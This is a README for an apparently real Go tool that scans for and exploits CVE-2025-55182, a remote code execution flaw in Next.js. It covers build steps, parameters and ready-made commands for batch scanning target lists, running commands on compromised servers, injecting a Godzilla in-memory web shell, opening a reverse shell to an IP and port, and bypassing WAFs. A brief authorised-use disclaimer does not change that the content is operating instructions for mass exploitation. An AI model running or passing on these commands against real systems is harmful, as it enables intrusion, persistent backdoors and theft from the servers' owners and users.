
Go-based scanner and exploitation tool for CVE-2025-55182 (Next.js RCE). Supports batch scanning, command execution, Godzilla memory shell injection, reverse shell, and WAF bypass.
CVE-2025-55182 vulnerability scanning and exploitation tool for remote code execution in Next.js applications. Supports batch detection, command execution, Godzilla memory shell injection, and reverse shell functionality.
⚠️ This tool is intended for security research and authorized testing only. Do not use it for illegal purposes.
.txt files.success.json, and optionally outputs vulnerability URLs to a specified file.[
]
git clone https://github.com/luoqichen/CVE-2025-55182-POC.git
cd cve-2025-55182-POC
go build -o cve-2025-55182 main.go
./cve-2025-55182 -h
| Parameter | Type | Default | Description |
|---|---|---|---|
-u | string | None | Single target URL (e.g. http://example.com:3000) |
-f | string | None | File containing a list of URLs (one per line) |
-d | string | None | Directory containing multiple .txt files |
-o | string | None | Output file (save vulnerability URLs, one per line) |
-t | int | 10 | Number of concurrent threads |
-to | int | 10 | Request timeout in seconds |
-c | string | None | Command to execute (e.g. id) |
-m | string | None | Mode: waf (enable WAF bypass) |
-p | string | None | HTTP proxy (e.g. http://127.0.0.1:8080) |
-g | bool | false | Enable Godzilla memory shell injection |
-rs | string | None | Reverse shell address (format IP:PORT) |
-dv | bool | false | Verbose mode (print scan process for each URL) |
-es | bool | false | Sensitive information scanning mode |
./cve-2025-55182 -u http://target.com:3000
./cve-2025-55182 -f targets.txt -t 20 -o vuln.txt
./cve-2025-55182 -u http://target.com:3000 -c "whoami"
./cve-2025-55182 -u http://target.com:3000 -g
After successful injection, the tool outputs the Godzilla connection address, password, key, and request header information.
./cve-2025-55182 -u http://target.com:3000 -rs 10.0.0.1:4444
./cve-2025-55182 -f targets.txt -p http://127.0.0.1:8080 -t 10
success.json: Automatically saves detailed information of all successfully exploited targets (including command output, Godzilla configuration, etc.).-o: Saves the list of vulnerability URLs (one per line).During scanning, the progress bar and discovered vulnerabilities are displayed in real time, and statistics are output at the end.
-p parameter to set a proxy.-to parameter value appropriately.This tool is intended only for security research and authorized testing. Users must assume all legal responsibilities. The developer is not responsible for any misuse.